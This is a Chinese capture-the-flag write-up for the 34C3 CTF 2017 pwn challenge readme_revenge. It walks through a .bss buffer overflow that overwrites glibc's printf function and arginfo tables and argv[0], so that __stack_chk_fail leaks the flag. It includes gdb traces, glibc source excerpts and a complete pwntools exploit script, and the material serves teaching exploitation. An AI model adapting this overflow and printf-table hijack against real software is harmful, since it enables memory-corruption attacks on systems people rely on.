CTF-All-In-One/doc/6.1.13_pwn_34c3ctf2017_readme_revenge.md

289 lines
12 KiB
Markdown
Raw Normal View History

2018-03-22 12:19:32 +07:00
# 6.1.13 pwn 34C3CTF2017 readme_revenge
- [题目复现](#题目复现)
- [题目解析](#题目解析)
2018-05-01 20:57:53 +07:00
- [漏洞利用](#漏洞利用)
2018-03-22 12:19:32 +07:00
- [参考资料](#参考资料)
2018-04-08 08:43:42 +07:00
[下载文件](../src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge)
2018-03-22 12:19:32 +07:00
## 题目复现
2018-04-09 00:12:57 +07:00
这个题目实际上非常有趣。
2018-03-22 12:19:32 +07:00
```
$ file readme_revenge
readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped
$ checksec -f readme_revenge
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 3 45 readme_revenge
```
2018-04-09 00:12:57 +07:00
与我们经常接触的题目不同,这是一个静态链接程序,运行时不需要加载 libc。not stripped 绝对是个好消息。
2018-03-22 12:19:32 +07:00
```
$ ./readme_revenge
aaaa
Hi, aaaa. Bye.
$ ./readme_revenge
%x.%d.%p
Hi, %x.%d.%p. Bye.
2018-04-09 00:12:57 +07:00
$ python -c 'print("A"*2000)' > crash_input
$ ./readme_revenge < crash_input
2018-03-22 12:19:32 +07:00
Segmentation fault (core dumped)
```
我们试着给它输入一些字符,结果被原样打印出来,而且看起来也不存在格式化字符串漏洞。但当我们输入大量字符时,触发了段错误,这倒是一个好消息。
2018-04-09 00:12:57 +07:00
接着又发现了这个:
```
$ rabin2 -z readme_revenge| grep 34C3
Warning: Cannot initialize dynamic strings
000 0x000b4040 0x006b4040 35 36 (.data) ascii 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```
看来 flag 是被隐藏在程序中的,地址在 `0x006b4040`,位于 `.data` 段上。结合题目的名字 readme推测这题的目标应该是从程序中读取或者泄漏出 flag。
2018-03-22 12:19:32 +07:00
## 题目解析
2018-04-09 00:12:57 +07:00
因为 flag 在程序的 `.data` 段上,根据我们的经验,应该能想到利用 `__stack_chk_fail()` 将其打印出来(参考章节 4.12)。
main 函数如下:
```
[0x00400900]> pdf @ main
;-- main:
/ (fcn) sym.main 80
| sym.main (int arg_1020h);
| ; arg int arg_1020h @ rsp+0x1020
| ; DATA XREF from 0x0040091d (entry0)
| 0x00400a0d 55 push rbp
| 0x00400a0e 4889e5 mov rbp, rsp
| 0x00400a11 488da424e0ef. lea rsp, [rsp - 0x1020]
| 0x00400a19 48830c2400 or qword [rsp], 0
| 0x00400a1e 488da4242010. lea rsp, [arg_1020h] ; 0x1020
| 0x00400a26 488d35b3692b. lea rsi, obj.name ; 0x6b73e0
| 0x00400a2d 488d3d50c708. lea rdi, [0x0048d184] ; "%s"
| 0x00400a34 b800000000 mov eax, 0
| 0x00400a39 e822710000 call sym.__isoc99_scanf
| 0x00400a3e 488d359b692b. lea rsi, obj.name ; 0x6b73e0
| 0x00400a45 488d3d3bc708. lea rdi, str.Hi___s._Bye. ; 0x48d187 ; "Hi, %s. Bye.\n"
| 0x00400a4c b800000000 mov eax, 0
| 0x00400a51 e87a6f0000 call sym.__printf
| 0x00400a56 b800000000 mov eax, 0
| 0x00400a5b 5d pop rbp
\ 0x00400a5c c3 ret
```
很简单,从标准输入读取字符串到变量 `name`,地址在 `0x6b73e0`,且位于 `.bss` 段上,是一个全局变量。接下来程序调用 printf 将 `name` 打印出来。
在 gdb 里试试:
```
gdb-peda$ r < crash_input
Starting program: /home/firmy/Desktop/RE4B/readme/readme_revenge < crash_input
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x4141414141414141 ('AAAAAAAA')
RBX: 0x7fffffffd190 --> 0xffffffff
RCX: 0x7fffffffd160 --> 0x0
RDX: 0x73 ('s')
RSI: 0x0
RDI: 0x48d18b ("%s. Bye.\n")
RBP: 0x0
RSP: 0x7fffffffd050 --> 0x0
RIP: 0x45ad64 (<__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0)
R8 : 0x48d18b ("%s. Bye.\n")
R9 : 0x4
R10: 0x48d18c ("s. Bye.\n")
R11: 0x7fffffffd160 --> 0x0
R12: 0x0
R13: 0x7fffffffd190 --> 0xffffffff
R14: 0x48d18b ("%s. Bye.\n")
R15: 0x1
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x45ad53 <__parse_one_specmb+1283>: jmp 0x45ab95 <__parse_one_specmb+837>
0x45ad58 <__parse_one_specmb+1288>: nop DWORD PTR [rax+rax*1+0x0]
0x45ad60 <__parse_one_specmb+1296>: movzx edx,BYTE PTR [r10]
=> 0x45ad64 <__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0
0x45ad69 <__parse_one_specmb+1305>: je 0x45a944 <__parse_one_specmb+244>
0x45ad6f <__parse_one_specmb+1311>: lea rdi,[rsp+0x8]
0x45ad74 <__parse_one_specmb+1316>: mov rsi,rbx
0x45ad77 <__parse_one_specmb+1319>: addr32 call 0x44cfa0 <__handle_registered_modifier_mb>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd050 --> 0x0
0008| 0x7fffffffd058 --> 0x48d18c ("s. Bye.\n")
0016| 0x7fffffffd060 --> 0x0
0024| 0x7fffffffd068 --> 0x0
0032| 0x7fffffffd070 --> 0x7fffffffd5e0 --> 0x7fffffffdb90 --> 0x7fffffffdc80 --> 0x4014a0 (<__libc_csu_init>: push r15)
0040| 0x7fffffffd078 --> 0x7fffffffd190 --> 0xffffffff
0048| 0x7fffffffd080 --> 0x7fffffffd190 --> 0xffffffff
0056| 0x7fffffffd088 --> 0x443153 (<printf_positional+259>: mov r14,QWORD PTR [r12+0x20])
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000045ad64 in __parse_one_specmb ()
gdb-peda$ x/8gx &name
0x6b73e0 <name>: 0x4141414141414141 0x4141414141414141
0x6b73f0 <name+16>: 0x4141414141414141 0x4141414141414141
0x6b7400 <_dl_tls_static_used>: 0x4141414141414141 0x4141414141414141
0x6b7410 <_dl_tls_max_dtv_idx>: 0x4141414141414141 0x4141414141414141
```
程序的漏洞很明显了,就是缓冲区溢出覆盖了 libc 静态编译到程序里的一些指针。再往下看会发现一些可能有用的:
```
gdb-peda$
0x6b7978 <__libc_argc>: 0x4141414141414141
gdb-peda$
0x6b7980 <__libc_argv>: 0x4141414141414141
gdb-peda$
0x6b7a28 <__printf_function_table>: 0x4141414141414141
gdb-peda$
0x6b7a30 <__printf_modifier_table>: 0x4141414141414141
gdb-peda$
0x6b7aa8 <__printf_arginfo_table>: 0x4141414141414141
gdb-peda$
0x6b7ab0 <__printf_va_arg_table>: 0x4141414141414141
```
再看一下栈回溯情况吧:
```
gdb-peda$ bt
#0 0x000000000045ad64 in __parse_one_specmb ()
#1 0x0000000000443153 in printf_positional ()
#2 0x0000000000446ed2 in vfprintf ()
#3 0x0000000000407a74 in printf ()
#4 0x0000000000400a56 in main ()
#5 0x0000000000400c84 in generic_start_main ()
#6 0x0000000000400efd in __libc_start_main ()
#7 0x000000000040092a in _start ()
```
依次调用了 `printf() => vfprintf() => printf_positional() => __parse_one_specmb()`。那就看一下 glibc 源码,然后发现了这个:
```c
// stdio-common/vfprintf.c
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
```
```c
// stdio-common/printf-parsemb.c
/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
```
这里就涉及到 glibc 的一个特性,它允许用户为 printf 的模板字符串template strings定义自己的转换函数方法是使用函数 `register_printf_function()`
```c
// stdio-common/printf.h
extern int register_printf_function (int __spec, printf_function __func,
printf_arginfo_function __arginfo)
__THROW __attribute_deprecated__;
```
- 该函数为指定的字符 `__spec` 定义一个转换规则。因此如果 `__spec``Y`,它定义的转换规则就是 `%Y`。用户甚至可以重新定义已有的字符,例如 `%s`
- `__func` 是一个函数,在对指定的 `__spec` 进行转换时由 `printf` 调用。
- `__arginfo` 也是一个函数,在对指定的 `__spec` 进行转换时由 `parse_printf_format` 调用。
想一下,在程序的 main 函数中,使用 `%s` 调用了 `printf`,如果我们能重新定义一个转换规则,就能做利用 `__func` 做我们想做的事情。然而我们并不能直接调用 `register_printf_function()`。那么,如果利用溢出修改 `__printf_function_table` 呢,这当然是可以的。
`register_printf_function()` 其实也就是 `__register_printf_specifier()`,我们来看看它是怎么实现的:
```c
// stdio-common/reg-printf.c
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
```
然后发现 `spec` 被直接用做数组 `__printf_function_table``__printf_arginfo_table` 的下标。`s` 也就是 `0x73`,这和我们在 gdb 里看到的相符:`rdx=0x73``[rax+rdx*8]`正好是数组取值的方式,虽然这里的 `rax` 里保存的是 `__printf_modifier_table`
2018-05-01 20:57:53 +07:00
## 漏洞利用
2018-04-09 00:12:57 +07:00
有了上面的分析,下面我们来构造 exp。
回顾一下 `__parse_one_specmb()` 函数里的 `if` 判断语句,我们知道 C 语言对 `||` 的处理机制是如果第一个表达式为 True就不再进行第二个表达式的判断所以为了执行函数 `*__printf_arginfo_table[spec->info.spec]`,需要前面的判断条件都为 False。我们可以在 `.bss` 段上伪造一个 `printf_arginfo_size_function` 结构体,在结构体偏移 `0x73*8` 的地方放上 `__stack_chk_fail()` 的地址,当该函数执行时,将打印出 `argv[0]` 指向的字符串,所以我们还需要将 `argv[0]` 覆盖为 flag 的地址。
Bingo!!!
```
$ python2 exp.py
[+] Starting local process './readme_revenge': pid 14553
[*] Switching to interactive mode
*** stack smashing detected ***: 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX terminated
```
2018-05-01 20:57:53 +07:00
#### exploit
2018-04-09 00:12:57 +07:00
完整的 exp 如下:
```python
from pwn import *
io = process('./readme_revenge')
flag_addr = 0x6b4040
name_addr = 0x6b73e0
argv_addr = 0x6b7980
func_table = 0x6b7a28
arginfo_table = 0x6b7aa8
stack_chk_fail = 0x4359b0
payload = p64(flag_addr) # name
payload = payload.ljust(0x73 * 8, "\x00")
payload += p64(stack_chk_fail) # __printf_arginfo_table[spec->info.spec]
payload = payload.ljust(argv_addr - name_addr, "\x00")
payload += p64(name_addr) # argv
payload = payload.ljust(func_table - name_addr, "\x00")
payload += p64(name_addr) # __printf_function_table
payload = payload.ljust(arginfo_table - name_addr, "\x00")
payload += p64(name_addr) # __printf_arginfo_table
# with open("./payload", "wb") as f:
# f.write(payload)
io.sendline(payload)
io.interactive()
```
2018-03-22 12:19:32 +07:00
## 参考资料
2018-04-09 00:12:57 +07:00
- https://ctftime.org/task/5135
- [Customizing printf](https://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html)